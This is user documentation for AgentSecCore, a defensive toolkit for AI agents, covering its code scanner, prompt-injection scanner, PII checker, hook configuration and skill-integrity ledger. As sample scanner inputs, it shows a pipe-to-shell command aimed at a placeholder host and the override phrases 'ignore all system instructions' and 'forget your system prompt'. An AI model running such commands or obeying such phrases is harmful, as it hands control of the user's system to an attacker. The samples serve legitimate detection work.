(default: agentos_baseline profile) agent-sec-cli harden --scan --config agentos_baseline # Preview remediation (dry run) agent-sec-cli harden --reinforce --dry-run --config agentos_baseline # Execute remediation (requires root) agent-sec-cli harden --reinforce --config agentos_baseline # OpenClaw-specific baseline agent-sec-cli harden --scan --level openclaw # Show full downstream help agent-sec-cli harden --downstream-help ``` ### Observability Interactive event review tool for auditing Agent behavior. The OpenClaw, Hermes, cosh, Qwen Code, Qoder, and Codex integrations enable their observability hooks by default. To disable hook recording, set `OBSERVABILITY_HOOK_ENABLED=false` before starting the host and restart the host after changing it. The variable accepts only `true` / `false` (ignoring case and surrounding whitespace); an unset or invalid value keeps recording enabled. For OpenClaw and Hermes, the existing observability capability `enabled` setting is an independent gate. Either switch can disable recording; `OBSERVABILITY_HOOK_ENABLED=true` does not override a capability disabled in plugin configuration. ```bash export OBSERVABILITY_HOOK_ENABLED=false ``` ```bash # Open interactive TUI (requires interactive terminal) agent-sec-cli observability review # Record an observability event (from plugin, via stdin) echo '{"hook":"before_tool_call",...}' | agent-sec-cli observability record --stdin # Print observability record JSON schema agent-sec-cli observability schema # Per-session debrief report agent-sec-cli observability report --last agent-sec-cli observability report --session-id --format json ``` ### Security Events Query the local security event store. ```bash # Recent events (table format, default) agent-sec-cli events --last-hours 24 # JSON output agent-sec-cli events --last-hours 24 --output json # Filter by category agent-sec-cli events --category prompt_scan # Filter by time range agent-sec-cli events --since 2026-01-01T00:00:00 --until 2026-01-02T00:00:00 # Count events agent-sec-cli events --count --last-hours 24 # Breakdown by category agent-sec-cli events --count-by category --last-hours 24 # Pagination agent-sec-cli events --offset 50 --limit 20 # Security posture summary agent-sec-cli events --summary ``` ## Agent Framework Integration ### OpenClaw Deploy via script: ```bash # From installed path (RPM) /opt/agent-sec/openclaw-plugin/scripts/deploy.sh # From source ./openclaw-plugin/scripts/deploy.sh ``` After deployment, configure: ```bash # Enable prompt scan blocking openclaw config set plugins.entries.agent-sec.config.promptScanBlock true # Enable code scan approval mode openclaw config set plugins.entries.agent-sec.config.codeScanRequireApproval true # Restart gateway to load openclaw gateway restart ``` ### Hermes Deploy via script: ```bash # From installed path (RPM) /opt/agent-sec/hermes-plugin/scripts/deploy.sh # From source ./hermes-plugin/scripts/deploy.sh ``` Plugin config at `~/.hermes/plugins/agent-sec-core-hermes-plugin/config.toml`: ```toml [capabilities.code-scan] enabled = true timeout = 10 enable_block = false # false=observe, true=block [capabilities.pii-scan-user-input] enabled = true timeout = 10 [capabilities.prompt-scan-user-input] enabled = true timeout = 10 enable_block = false # false=observe, true=block [capabilities.skill-ledger] enabled = true timeout = 5 policy = "ask" # observe | warn | ask (default) | block ``` ### Qwen Code Deploy and enable the user-scoped extension: ```bash # From installed path (RPM) /opt/agent-sec/qwen-code-extension/scripts/deploy.sh # From source ./qwen-code-extension/scripts/deploy.sh ``` The synchronous `PreToolUse` hook protects only model-triggered Qwen Code `skill` Tool calls for managed project (`.qwen/skills`) and user (`$QWEN_HOME/skills`, defaulting to `~/.qwen/skills`) skills. Scan or certify each skill first; these commands best-effort add its directory to `managedSkillDirs`: ```bash agent-sec-cli skill-ledger scan .qwen/skills/ agent-sec-cli skill-ledger scan "${QWEN_HOME:-$HOME/.qwen}/skills/" agent-sec-cli skill-ledger show .qwen/skills/ agent-sec-cli skill-ledger show "${QWEN_HOME:-$HOME/.qwen}/skills/" ``` `show` returns `managed=false` only for an unmanaged Skill; a normal exposure summary without that marker is managed. Unmanaged skills always fail open, including when blocking is enabled. The default policy is `ask`; set the policy in the trusted environment that starts Qwen Code: ```bash SKILL_LEDGER_MODE=observe qwen # observe only SKILL_LEDGER_MODE=warn qwen # emit a non-blocking diagnostic; continue SKILL_LEDGER_MODE=ask qwen # ask before use (default) SKILL_LEDGER_MODE=block qwen # deny a non-empty exposure warning ``` Qwen Code 0.19.9 records non-blocking `systemMessage` values in the session debug log but does not render them in its TTY; native `permissionDecision=ask/deny` and enforceable `block` decisions are unaffected. The hook follows the existing Skill Ledger exposure message, including prior `decide` actions. Normal `pass` and `warn` states are allowed; managed `none`, `drifted`, `deny`, and `tampered` states can warn, ask, or block when their exposure message is non-empty. `ask` falls back to denial in Qwen Code contexts that cannot prompt, such as headless runs and background subagents. Only disk skills that Qwen Code exposes to the model enter Ledger validation. A disk skill hidden by `disable-model-invocation` or `skills.disabled` fails open so its Ledger state cannot block a same-named file command or MCP prompt. Unreadable or invalid Qwen settings also fail open because the public hook input does not identify the final dispatch source. The protection boundary intentionally excludes direct `/skill-name` and stacked slash-skill expansion, extension skills, `.agents/skills`, bundled skills, and symlinks whose targets leave the corresponding `.qwen/skills` root. Missing CLI or keys, initialization failure, inaccessible or ambiguous paths or settings, timeouts, and invalid output are diagnosed and fail open. There is no startup preflight, background scan, cache, or automatic configuration repair. ### Copilot Shell (cosh) The cosh extension is installed automatically during `make install` or via RPM. No manual enablement required — hooks are loaded at cosh startup. Extension path: - User install: `~/.copilot-shell/extensions/agent-sec-core/` - RPM install: `/usr/share/anolisa/extensions/agent-sec-core/` ## FAQ **Q: Does AgentSecCore consume Tokens?** A: No. All processing is local. No external API calls, no Token cost. **Q: What is the difference between `harden` and `loongshield`?** A: `agent-sec-cli harden` is the ANOLISA unified entry point that wraps `loongshield seharden` with default configuration. On Alinux systems, both work; `harden` adds the `agentos_baseline` profile by default. **Q: How do I update the ML model for prompt scanning?** A: Run `agent-sec-cli scan-prompt warmup` again. It downloads the latest model from ModelScope. **Q: What does Skill Ledger `tampered` mean?** A: Files are unchanged but the digital signature verification failed — the manifest metadata itself may have been modified. Stop using the skill immediately and investigate. ===== docs/user-guide/en/agent-security/agent-sec-core/code-scanner.md ===== # Code Scanner Hook Configuration Code Scanner hooks inspect shell or code tool calls before execution and reuse each Agent host's existing hook interaction model. Environment variables select existing behavior; they do not add approval or blocking responses that the host plugin did not already use. ## Installation ```bash # Recommended (system mode required) sudo anolisa install agent-sec-core # Alternative for Alinux systems with the YUM repository configured sudo yum install agent-sec-core # Source build for developers cd src/agent-sec-core make build-cli ``` Install or deploy the adapter for the Agent you use as described in the [AgentSecCore quick start](QUICKSTART.md). ## Environment Variables | Agent plugin | `CODE_SCANNER_HOOK_ENABLED` | `CODE_SCANNER_MODE` | `CODE_SCANNER_TIMEOUT` | |---|---|---|---| | Qoder | `true` / `false` | `observe`, `ask`, `block` | Supported; default 10 seconds | | Qwen Code | `true` / `false` | `observe`, `ask`, `block` | Supported; default 10 seconds | | Codex | `true` / `false` | `observe`, `block` | Supported; default 10 seconds | | Cosh | `true` / `false` | `ask` only | Not supported; fixed at 10 seconds | | Hermes | `true` / `false` | `observe`, `block` | Not supported; uses capability `timeout` | | OpenClaw | `true` / `false` | `observe`, `ask`, `block` | Not supported; fixed at 10 seconds | `CODE_SCANNER_HOOK_ENABLED=false` skips hook input processing and CLI invocation. On Hermes and OpenClaw, a valid boolean environment value overrides capability `enabled`; an invalid value is treated as unset and falls back to capability configuration. `CODE_SCANNER_MODE` controls how a plugin handles scanner `warn` and `deny` verdicts with findings: - `observe` scans and audits while allowing the tool call. - `ask` uses the host's existing approval interaction. - `block` uses the host's existing deny or block interaction. Compatibility aliases are normalized before host capability checks: `debug` maps to `observe`, and `deny` maps to `block`. `warn`, invalid values, and modes unsupported by that host are treated as unset; these configuration diagnostics never enter stdout, system messages, or other HookOutput. Standalone scripts write bounded diagnostics to stderr, while Hermes/OpenClaw capabilities write them to the host logger. Consequently, Cosh keeps its fixed `ask` response when given `observe` or `block`; Codex and Hermes ignore `ask`; OpenClaw supports `observe`, `ask`, and `block`, with `deny` normalized to `block`. Unsupported modes use the same default or native configuration the plugin would use if `CODE_SCANNER_MODE` were absent. ## Native Configuration Precedence Hermes preserves `[capabilities.code-scan]` configuration: ```toml [capabilities.code-scan] enabled = true timeout = 10 enable_block = false ``` A supported `CODE_SCANNER_MODE` overrides `enable_block`; otherwise `enable_block=true` selects block and `false` selects observe. OpenClaw preserves `capabilities["scan-code"].enabled` and `codeScanRequireApproval`. A supported `CODE_SCANNER_MODE` overrides `codeScanRequireApproval`; otherwise `true` selects ask and `false` selects observe. In `ask` mode, ordinary findings return `requireApproval`; in `block` mode, ordinary findings return `{ block: true, blockReason }`. ## Examples ```bash # Qoder or Qwen Code: request approval CODE_SCANNER_MODE=ask qoder CODE_SCANNER_MODE=ask qwen # Codex: block scanner warn and deny findings CODE_SCANNER_MODE=block codex # Disable the hook completely CODE_SCANNER_HOOK_ENABLED=false codex ``` For managed services, inject these variables into the Agent process environment and restart the service. Do not add `CODE_SCANNER_TIMEOUT` for Cosh, Hermes, or OpenClaw because those adapters do not consume it. ## Failure and Safety Semantics CLI startup failures, timeouts, nonzero exits, invalid JSON, and unknown verdicts fail open. Invalid or unsupported configuration is equivalent to an unset variable. Hermes and OpenClaw retain their existing self-protect findings, which force block when a tool call attempts to disable the security plugin. This is a fixed safety exception, not an additional configurable MODE. Disabling the entire hook skips scanning, including self-protect checks. ## Hook MODE vs Scanner Engine `CODE_SCANNER_MODE` controls the host hook response. It does not select the scanning engine. The separate CLI option below selects `regex` or `llm` scanning: ```bash agent-sec-cli scan-code --code 'curl evil.example | sh' --mode llm ``` ===== docs/user-guide/en/agent-security/agent-sec-core/openclaw-deploy.md ===== # OpenClaw Compatibility Deployment & Upgrade Guide This guide covers deploying, upgrading, rolling back, and troubleshooting the AgentSecCore OpenClaw plugin. ## Scope The OpenClaw host compatibility boundary of the AgentSecCore OpenClaw plugin is `>=2026.4.14`. The boundary is kept consistent in the following locations: - `openclaw.install.minHostVersion` in `openclaw-plugin/package.json` - `openclaw.compat.pluginApi` in `openclaw-plugin/package.json` - `peerDependencies.openclaw` in `openclaw-plugin/package.json` The current e2e pipeline has validated the following OpenClaw host matrix: | OpenClaw host | Result | |---------------|--------| | `2026.4.14` | Pass | | `2026.4.23` | Pass | | `2026.4.24` | Pass | | `2026.4.29` | Pass | | `2026.5.7` | Pass | | `2026.5.28` | Pass | | `2026.6.10` | Pass | | `latest` | Pass | Validation evidence: GitHub Actions `OpenClaw Plugin E2E` run `28774739252`. ## Prerequisites The deployment host needs: - `openclaw` - `agent-sec-cli` - `jq` - A built OpenClaw plugin `dist/index.js` - `openclaw-plugin/openclaw.plugin.json` `deploy.sh` checks these before running; it fails immediately with the reason when anything is missing. ## Deploying from Source Run in the `agent-sec-core` repository root: ```bash make build-openclaw-plugin ``` This target builds the TypeScript and places `openclaw.plugin.json`, `package.json`, `dist/`, and `scripts/` into `target/openclaw-plugin/`. Then install to the target directory. The default source-install path is controlled by the Makefile variable `OPENCLAW_PLUGIN_DIR`, defaulting to `/usr/local/lib/anolisa/sec-core/openclaw-plugin`: ```bash sudo make install-openclaw-plugin ``` Finally, run the deploy script to register the plugin: ```bash sudo /usr/local/lib/anolisa/sec-core/openclaw-plugin/scripts/deploy.sh \ /usr/local/lib/anolisa/sec-core/openclaw-plugin ``` To install to the path used by the RPM profile, pass `OPENCLAW_PLUGIN_DIR` explicitly: ```bash sudo make install-openclaw-plugin OPENCLAW_PLUGIN_DIR=/opt/agent-sec/openclaw-plugin sudo /opt/agent-sec/openclaw-plugin/scripts/deploy.sh \ /opt/agent-sec/openclaw-plugin ``` In a source development environment you can also build and deploy directly inside the plugin directory: ```bash cd openclaw-plugin npm install npm run build ./scripts/deploy.sh "$(pwd)" ``` If OpenClaw uses a non-default state directory, pass `OPENCLAW_STATE_DIR` at deploy time: ```bash OPENCLAW_STATE_DIR=~/.openclaw-dev ./scripts/deploy.sh "$(pwd)" ``` ## What deploy.sh Does `deploy.sh` handles install-time compatibility: - Reads `openclaw --version` and requires OpenClaw `>=2026.4.14` - Reads `openclaw plugins install --help` to confirm `--force` support - Passes `--dangerously-force-unsafe-install` when the current OpenClaw installer help exposes it - Omits that flag when the current OpenClaw installer help does not expose it - Writes `plugins.entries.agent-sec.hooks.allowConversationAccess=true` on OpenClaw `>=2026.4.24` - Skips `allowConversationAccess` on OpenClaw `2026.4.14` through `2026.4.23` - Validates the install record via `openclaw plugins inspect agent-sec --json` - Validates runtime loading via `openclaw plugins inspect agent-sec --runtime --json` when the current OpenClaw supports `plugins inspect --runtime` - Fails when the inspected plugin status is not `loaded` `deploy.sh` never starts, stops, or restarts the OpenClaw gateway. ## Restarting the Gateway After deploying or upgrading the plugin, restart the OpenClaw gateway: ```bash openclaw gateway restart ``` If the environment uses a systemd user service, use the corresponding service restart command: ```bash systemctl --user restart openclaw-gateway-dev.service ``` ## Verifying the Installation First verify the OpenClaw install record: ```bash openclaw plugins inspect agent-sec --json | jq -e '.plugin.id == "agent-sec"' ``` If the current OpenClaw supports runtime inspect, also verify runtime loading: ```bash openclaw plugins inspect agent-sec --runtime --json | jq -e '.plugin.status == "loaded"' ``` On OpenClaw versions without `--runtime`, use `plugin.status` from the plain inspect: ```bash openclaw plugins inspect agent-sec --json | jq -e '.plugin.status == "loaded"' ``` After deploying on OpenClaw `>=2026.4.24`, also confirm the config contains: ```bash openclaw config get plugins.entries.agent-sec.hooks.allowConversationAccess ``` The expected value is `true`. ## Default Security Policy The default configuration is observation-first: - `promptScanBlock=false`: the prompt scanner logs an alert on `deny` findings but does not block the model call - `codeScanRequireApproval=false`: the code scanner logs an alert on risks but does not prompt for approval - `piiScanUserInput=true`: scans user input for PII and credentials - `piiIncludeLowConfidence=false`: excludes low-confidence PII findings - `pii-scan-user-input.enableBlock=false`: PII deny does not block by default - `skill-ledger.policy=ask`: prefers user confirmation when there is a user-visible message - `observability.enabled=true`: enables observability recording Enable prompt blocking: ```bash openclaw config set plugins.entries.agent-sec.config.promptScanBlock true ``` You can also override prompt scanner behavior at deployment time with environment variables. These take precedence over the OpenClaw capability configuration: | Environment variable | Default | Behavior | |----------------------|---------|----------| | `PROMPT_SCANNER_HOOK_ENABLED` | `true` | Set to `false` to skip prompt-scan hook registration entirely | | `PROMPT_SCANNER_MODE` | `observe` | Policy mode: `observe` / `warn` / `ask` / `block`; `deny` maps to `block` | | `PROMPT_SCANNER_SCAN_MODE` | `standard` | Scan strength passed to `scan-prompt`: `fast` / `standard` / `strict` | | `PROMPT_SCANNER_TIMEOUT` | `10` | Scanner timeout in seconds | Restart the OpenClaw gateway after changing these variables. Enable code-scan approval: ```bash openclaw config set plugins.entries.agent-sec.config.codeScanRequireApproval true ``` For deployment-level overrides, `CODE_SCANNER_HOOK_ENABLED=true|false` takes precedence over `capabilities["scan-code"].enabled`, and `CODE_SCANNER_MODE=observe|ask|block` takes precedence over `codeScanRequireApproval`. `debug` aliases `observe`, `deny` aliases `block`, and `warn` or invalid values are treated as unset and fall back to plugin configuration. In `ask` mode, ordinary findings return `requireApproval`; in `block` mode, ordinary findings return `{ block: true, blockReason }`. The existing self-protect rule remains a forced-block exception regardless of mode. OpenClaw does not consume `CODE_SCANNER_TIMEOUT` and keeps its fixed 10-second timeout. Enable PII deny blocking: ```bash openclaw config set 'plugins.entries.agent-sec.config.capabilities.pii-scan-user-input.enableBlock' true ``` Configure Skill Ledger to block directly: ```bash openclaw config set 'plugins.entries.agent-sec.config.capabilities.skill-ledger.policy' block ``` ## Runtime Compatibility Policy Do not write persistent hook-disable configuration for older OpenClaw versions. AgentSecCore's policy is: - `before_dispatch`, `before_tool_call`, and `after_tool_call` are the core security hooks within the support matrix - `model_call_started` and `model_call_ended` are optional model-call observability hooks - `llm_input`, `llm_output`, and `agent_end` require `allowConversationAccess` - When an older OpenClaw lacks the optional observability hooks, the plugin degrades observability gracefully - After upgrading OpenClaw, re-run `deploy.sh` and restart the gateway to gain the hook behavior supported by the new version If missing hooks were written as persistent disable configuration, they may stay disabled by the stale config after an OpenClaw upgrade — so do not do that. ## Upgrade Procedure Upgrade the AgentSecCore OpenClaw plugin: ```bash make build-openclaw-plugin sudo make install-openclaw-plugin sudo /usr/local/lib/anolisa/sec-core/openclaw-plugin/scripts/deploy.sh \ /usr/local/lib/anolisa/sec-core/openclaw-plugin openclaw gateway restart ``` After upgrading the OpenClaw host, also re-run `deploy.sh`: ```bash sudo /usr/local/lib/anolisa/sec-core/openclaw-plugin/scripts/deploy.sh \ /usr/local/lib/anolisa/sec-core/openclaw-plugin openclaw gateway restart ``` The reason is that a newer OpenClaw may support configuration or hooks the previous version lacked, such as `plugins.entries.agent-sec.hooks.allowConversationAccess`. ## Rollback Procedure If a newly deployed plugin version needs to be rolled back: 1. Restore the previous plugin directory to the target path. 2. Re-run `deploy.sh` from the previous version's directory. 3. Restart the OpenClaw gateway. 4. Verify status with `openclaw plugins inspect agent-sec --json` and the runtime inspect. Example: ```bash sudo /usr/local/lib/anolisa/sec-core/openclaw-plugin/scripts/deploy.sh \ /usr/local/lib/anolisa/sec-core/openclaw-plugin openclaw gateway restart openclaw plugins inspect agent-sec --json | jq -e '.plugin.id == "agent-sec"' ``` ## Troubleshooting ### Plugin installation fails First confirm the commands are available: ```bash openclaw --version agent-sec-cli --help jq --version ``` Then confirm the plugin directory exists: ```bash test -f /usr/local/lib/anolisa/sec-core/openclaw-plugin/openclaw.plugin.json test -f /usr/local/lib/anolisa/sec-core/openclaw-plugin/dist/index.js ``` ### Runtime inspect is not `loaded` Run: ```bash openclaw plugins inspect agent-sec --runtime --json ``` and inspect `diagnostics`. If the current OpenClaw does not support `--runtime`, use: ```bash openclaw plugins inspect agent-sec --json ``` ### Conversation observability hooks are blocked OpenClaw `>=2026.4.24` requires: ```bash openclaw config set plugins.entries.agent-sec.hooks.allowConversationAccess true openclaw gateway restart ``` OpenClaw `2026.4.14` through `2026.4.23` does not support this configuration. Core security hooks remain available, but session-level observability hooks degrade. ### Observability unchanged after upgrading OpenClaw Re-run: ```bash sudo /usr/local/lib/anolisa/sec-core/openclaw-plugin/scripts/deploy.sh \ /usr/local/lib/anolisa/sec-core/openclaw-plugin openclaw gateway restart ``` Do not manually keep hook-disable configuration written under the previous version. ===== docs/user-guide/en/agent-security/agent-sec-core/pii-checker.md ===== # PII Checker User Guide [中文版](../../../zh/agent-security/agent-sec-core/pii-checker.md) PII Checker detects personal data and credentials in Agent inputs and outputs. It returns a structured verdict, produces safe evidence and optional redacted text, and records sanitized Security Events for audit and Observability correlation. ## Scan text Provide exactly one input source: inline text, standard input, or a UTF-8 file. ```bash # Inline text agent-sec-cli scan-pii --text "contact alice@example.com" # Standard input printf '%s' 'token=secret-value-1234567890' \ | agent-sec-cli scan-pii --stdin --redact-output # UTF-8 file agent-sec-cli scan-pii --input ./agent-output.txt --format text ``` Useful options: | Option | Purpose | |--------|---------| | `--format json\|text` | Select structured JSON or human-readable output; default is `json` | | `--redact-output` | Include `redacted_text`; the input file is never modified | | `--include-low-confidence` | Include findings below the default confidence threshold | | `--raw-evidence` | Include raw evidence in local CLI output only | | `--max-bytes N` | Scan at most `N` UTF-8 bytes and mark the result as truncated | | `--source SOURCE` | Label the audit context, such as `user_input` or `tool_output` | Supported source labels are `user_input`, `tool_input`, `tool_output`, `model_output`, `observability`, `manual`, and `unknown`. ## Built-in detection The built-in detector combines regex matching, format validation, and context-based confidence adjustment. | Category | Types | Default severity | |----------|-------|------------------| | Personal data | `email`, `phone_cn`, `credit_card`, `cn_id` | `warn` | | Credentials | `private_key`, `bearer_token`, `api_key`, `jwt` | `deny` | | Alibaba Cloud credentials | `aliyun_access_key_id`, `aliyun_access_key_secret` | `deny` | | Secret fields | `generic_secret_field` | `deny` | Credit card, Chinese ID, and JWT candidates are validated before becoming findings. Surrounding security keywords can increase confidence, while fixture markers such as `example`, `dummy`, `test`, and `sample` can lower it. Findings below the default `0.5` threshold are omitted unless `--include-low-confidence` is set. ## Verdicts and redaction The scanner aggregates findings into one verdict: | Verdict | Meaning | |---------|---------| | `pass` | No finding remains after confidence filtering | | `warn` | Findings exist, but none has `deny` severity | | `deny` | At least one finding has `deny` severity | Each finding includes its type, category, severity, confidence, span, detector metadata, and redacted evidence. `--redact-output` also returns a redacted copy of the scanned text. Overlapping findings are preserved, while their overlapping spans are merged and replaced once. If different spans overlap, the complete merged range is fully redacted so a shorter match cannot leave a sensitive suffix visible. `--raw-evidence` is intended only for local troubleshooting. Raw evidence is never written to Security Events. Host integrations consume the same verdict and finding schema; whether a host only observes a finding or blocks an operation depends on that host's configured PII policy. ## Host hook policy Set `PII_CHECKER_HOOK_ENABLED=false` to skip host PII hooks entirely. When enabled, `PII_CHECKER_MODE` accepts `observe`, `warn`, `ask`, or `block` and defaults to `observe`. `ask` or `block` falls back to `warn` when the host or hook event cannot enforce that action; post-execution hooks never claim to undo an external side effect. The environment policy overrides Hermes/OpenClaw capability configuration. `debug` maps to `observe`, and `deny` maps to `block`. Qwen Code additionally accepts the legacy `PII_CHECKER_ENABLED` switch when `PII_CHECKER_HOOK_ENABLED` is absent. The host Agent reads these variables when it loads the plugin. Restart the Agent process that hosts the hook after changing them; the hook and agent-sec-core are not separate policy services. Scanner verdict `deny` describes finding severity. Hook policy `block` controls whether the current adapter attempts enforcement. ## Custom regex rules PII Checker optionally loads custom business-specific types from one fixed user-level file: ```text ~/.config/agent-sec/pii-checker/rules.yaml ``` The YAML top level is a list. Each rule contains a unique custom type, one regex, and an optional severity. ```yaml - type: dogfood_order_no regex: '(?i)(?<=order_no[=:])DFT-[A-Z0-9]{8}' severity: warn - type: dogfood_customer_token regex: 'DFT-[A-Z0-9]{16}' severity: deny ``` | Field | Required | Description | |-------|----------|-------------| | `type` | Yes | Lowercase snake_case custom type, unique within the file | | `regex` | Yes | One regex expression; use inline flags such as `(?i)` | | `severity` | No | `warn` or `deny`; defaults to `deny` | The complete regex match is the finding and redaction span. Capture groups and named capture groups do not change that span. If a regex matches both a field name and its value, both are redacted. Use lookaround when the full match must cover only the value. Multiple formats for one type must be combined with regex alternation (`|`); the same type cannot appear in multiple rules. Custom findings use category `custom`, confidence `1.0`, detector `custom_rule`, and engine `regex`. They are fully redacted with a stable type marker such as `[DOGFOOD_ORDER_NO_REDACTED]` and flow through the same verdict, policy, Security Event, and Observability paths as built-in findings. No CLI option, environment variable, XDG override, system-level file, or multi-file merge is supported for the custom rules path. ## Custom rule validation and runtime limits The complete custom ruleset is accepted or rejected as one unit. | Limit or rule | Value | |---------------|-------| | Maximum file size | 256 KiB | | Maximum number of rules | 100 | | Maximum regex length | 2,048 characters | | Maximum regex group nesting depth | 64 | | Type format | `^[a-z][a-z0-9_]{0,63}$` | | Allowed severity | `warn` or `deny` | | Per-rule matching timeout | 20 ms | | Total custom matching budget per scan | 200 ms | | Maximum custom findings per scan | 100 | Unknown YAML fields, duplicate types, built-in type names, invalid regexes, and regexes that match an empty string make the complete custom ruleset invalid. Other zero-length matches encountered at runtime are ignored. Rules with `deny` severity run before `warn` rules. File order is preserved within each severity. The 100-finding limit caps emitted custom findings but does not stop evaluation of later rules; `truncated` becomes `true` only when an additional valid match is omitted. Per-rule or total time limits may still stop the remaining custom rules and are reported separately. When the file content changes, the next scan validates and compiles the new content automatically. If the new version is invalid, the previous valid version is not reused. Built-in detection remains active and `scan-pii` still completes successfully. ## Custom rule status Every default scan includes sanitized custom rule state in `summary.custom_rules`: ```json { "custom_rules": { "status": "loaded", "rule_count": 2, "runtime_error_count": 0, "budget_exhausted": false, "truncated": false } } ``` `status` is `absent` when the file does not exist, `loaded` when validation succeeds (including an empty list), and `invalid` when reading, YAML parsing, schema validation, or regex compilation fails. An invalid status includes a sanitized `error_code`; loaded or invalid content may include its SHA-256 digest. Runtime counters do not contain input text or regex content. A direct `scan-pii` invocation also prints a sanitized invalid-configuration warning to stderr while still exiting successfully. The current `error_code` values are: | Error code | Meaning | |------------|---------| | `read_error` | The rules file could not be read | | `file_too_large` | The rules file exceeds 256 KiB | | `invalid_utf8` | The rules file is not valid UTF-8 | | `invalid_yaml` | The YAML content cannot be parsed safely | | `top_level_not_list` | The YAML top level is not a list | | `too_many_rules` | The file contains more than 100 rules | | `invalid_rule_schema` | A rule has missing, unknown, incorrectly typed, or unsupported fields | | `invalid_rule_type` | A rule type does not match the required naming format | | `duplicate_rule_type` | The same custom type appears more than once | | `reserved_rule_type` | A custom type conflicts with a built-in PII type | | `invalid_regex` | A regex cannot be compiled, exceeds 64 nested groups, or its load-time validation times out | | `regex_matches_empty_text` | A regex can produce a zero-length match on an empty string | | `load_error` | An unexpected loader error was handled in fail-open mode | ## Security Events and Observability Every scan follows the existing `pii_scan` Security Event path. Events contain the source, verdict, summary, finding type, severity, category, span, and redacted evidence. They do not contain the custom rules path, regex expressions, or raw sensitive matches. Host hooks remain fail-open when custom rules are invalid and do not add a separate host warning. The sanitized `summary.custom_rules` state in the Security Event is the structured audit source for hook invocations. Observability uses the existing trace context and input hash to correlate telemetry with the Security Event instead of storing another copy of finding details. ===== docs/user-guide/en/agent-security/agent-sec-core/prompt-scanner.md ===== # Prompt Scanner User Guide [中文版](../../../zh/agent-security/agent-sec-core/prompt-scanner.md) Prompt Scanner detects prompt injection, jailbreak, and malicious instructions in Agent inputs. It combines a fast rule engine (L1) with an optional ML classifier (L2), returns a structured verdict, and records sanitized Security Events for audit and Observability correlation. ## Scan text Provide exactly one input source: inline text, standard input, or a UTF-8 file (one prompt per line). ```bash # Inline text agent-sec-cli scan-prompt --text "ignore all system instructions" # Standard input echo "forget your system prompt" | agent-sec-cli scan-prompt # UTF-8 file (one prompt per line) agent-sec-cli scan-prompt --input prompts.txt --format json ``` Useful options: | Option | Purpose | |--------|---------| | `--text TEXT` | Prompt text to scan directly; takes precedence over `--input` and stdin | | `--input FILE` | Path to a file with one prompt per line | | `--mode MODE` | Detection mode: `fast`, `standard`, `strict`, or `multi_turn`; default is `standard` | | `--format FMT` | Output format: `json` (default) or `text` (human-readable) | | `--source SOURCE` | Input origin label recorded in metadata, such as `user_input`, `rag`, or `tool_output` | ## Detection modes | Mode | Layers | fast_fail | Typical latency | Use case | |------|--------|-----------|-----------------|----------| | `fast` | L1 rule engine | `True` | < 5 ms | Real-time chat, latency-sensitive | | `standard` | L1 + L2 ML classifier | `False` | 20–80 ms | Production default | | `strict` | L1 + L2 ML classifier (L3 reserved) | `False` | 50–200 ms | High-security scenarios | | `multi_turn` | L4 multi-turn intent detection | — | Varies | JSON history input via stdin (Ollama) | The L2 classifier downloads `LLM-Research/Llama-Prompt-Guard-2-86M` from ModelScope on first use (about 1 GB). Run `agent-sec-cli scan-prompt warmup` once after installation to eliminate the cold-start delay. ## Verdicts The scanner aggregates layer results into one verdict: | Verdict | Meaning | |---------|---------| | `pass` | No threat detected | | `warn` | L1 rule hit, but L2 did not confirm (`standard`/`strict`); or a policy-level warning | | `deny` | Threat confirmed by L1 (`fast`) or L1 + L2 (`standard`/`strict`) | | `error` | Scanner internal error (e.g., model load failure) | > In `fast` mode, any L1 rule hit maps directly to `deny` because the ML layer is not run. ## Host hook policy Set `PROMPT_SCANNER_HOOK_ENABLED=false` to skip host prompt scanner hooks entirely. When enabled, the following environment variables control deployment-level behavior: | Environment variable | Default | Behavior | |----------------------|---------|----------| | `PROMPT_SCANNER_HOOK_ENABLED` | `true` | Set to `false` to short-circuit the hook before input is read | | `PROMPT_SCANNER_MODE` | `observe` | `observe` audits silently; `warn` warns; `ask`/`block` use host-specific enforcement or fall back to `warn`; `deny` maps to `block` | | `PROMPT_SCANNER_SCAN_MODE` | `standard` | Scan strength passed to `scan-prompt`: `fast` / `standard` / `strict` | | `PROMPT_SCANNER_TIMEOUT` | `10` | Scanner timeout in seconds | Environment variables override Hermes/OpenClaw capability configuration. The host Agent reads them when it loads the plugin, so restart the Agent process after changing them. Scanner verdict `deny` describes the risk severity; hook policy `block` controls whether the current adapter attempts enforcement. ## Security Events and Observability Every scan follows the existing `prompt_scan` Security Event path. Events contain the source, verdict, summary, threat type, confidence, and sanitized rule or ML findings. They do not contain the raw prompt text. Host hooks remain fail-open on scanner errors: an `error` verdict is audited but is not used to block the underlying operation. Observability uses the existing trace context and input hash to correlate telemetry with the Security Event instead of storing another copy of finding details. ===== docs/user-guide/en/agent-security/agent-sec-core/skill-ledger.md ===== # Skill Ledger User Guide Skill Ledger is the security subsystem of agent-sec-core that maintains a version chain of file hashes, scan results, and cryptographic signatures for AI Agent Skills, helping detect tampered Skills or injected malicious content. The default quick scan runs automatically via the built-in static scanner; an optional deep scan is driven by the Agent following the `skill-vetter` protocol. --- ## Part 1: Quick Tour ### Core Concepts | Concept | Description | |---------|-------------| | **Manifest** | JSON record (`.skill-meta/latest.json`) containing file hashes, scan results, and digital signatures; created and updated by `scan`, `certify`, or the `init` baseline | | **Version chain** | Append-only ledger — each non-root version names an authenticated parent through `previousVersionId` and `previousManifestSignature`; recovery can start a new signed chain segment | | **Status** | Per-Skill security state: `pass` ✅ · `none` 🆕 · `drifted` 🔄 · `warn` ⚠️ · `deny` 🚨 · `tampered` 🔴 | ### 1. Initialize Signing Keys ```bash # Initialize keys and build a quick-scan baseline for Skills in covered directories agent-sec-cli skill-ledger init ``` Key locations: | File | Path | Permissions | |------|------|-------------| | Private key file | `~/.local/share/agent-sec/skill-ledger/key.enc` | 0600; unencrypted by default, encrypted with `--passphrase` | | Public key | `~/.local/share/agent-sec/skill-ledger/key.pub` | 0644 | To protect the private key with a passphrase: ```bash # Interactive passphrase prompt agent-sec-cli skill-ledger init --passphrase # Or via environment variable (suitable for CI) SKILL_LEDGER_PASSPHRASE="your-secret" agent-sec-cli skill-ledger init --passphrase ``` ### 2. Check Skill Integrity ```bash agent-sec-cli skill-ledger check /path/to/your-skill ``` Outputs JSON; the key field is `status`: | Status | Meaning | |--------|---------| | `none` 🆕 | Neither `latest.json` nor any version JSON/snapshot artifact exists, or an authenticated matching manifest has `scanStatus=none` | | `pass` ✅ | Manifest authenticity valid + files unchanged + scan passed | | `drifted` 🔄 | Manifest authenticity valid, but the live Skill differs from the signed file hashes; this is an unscanned divergence, not a scanner-confirmed risk 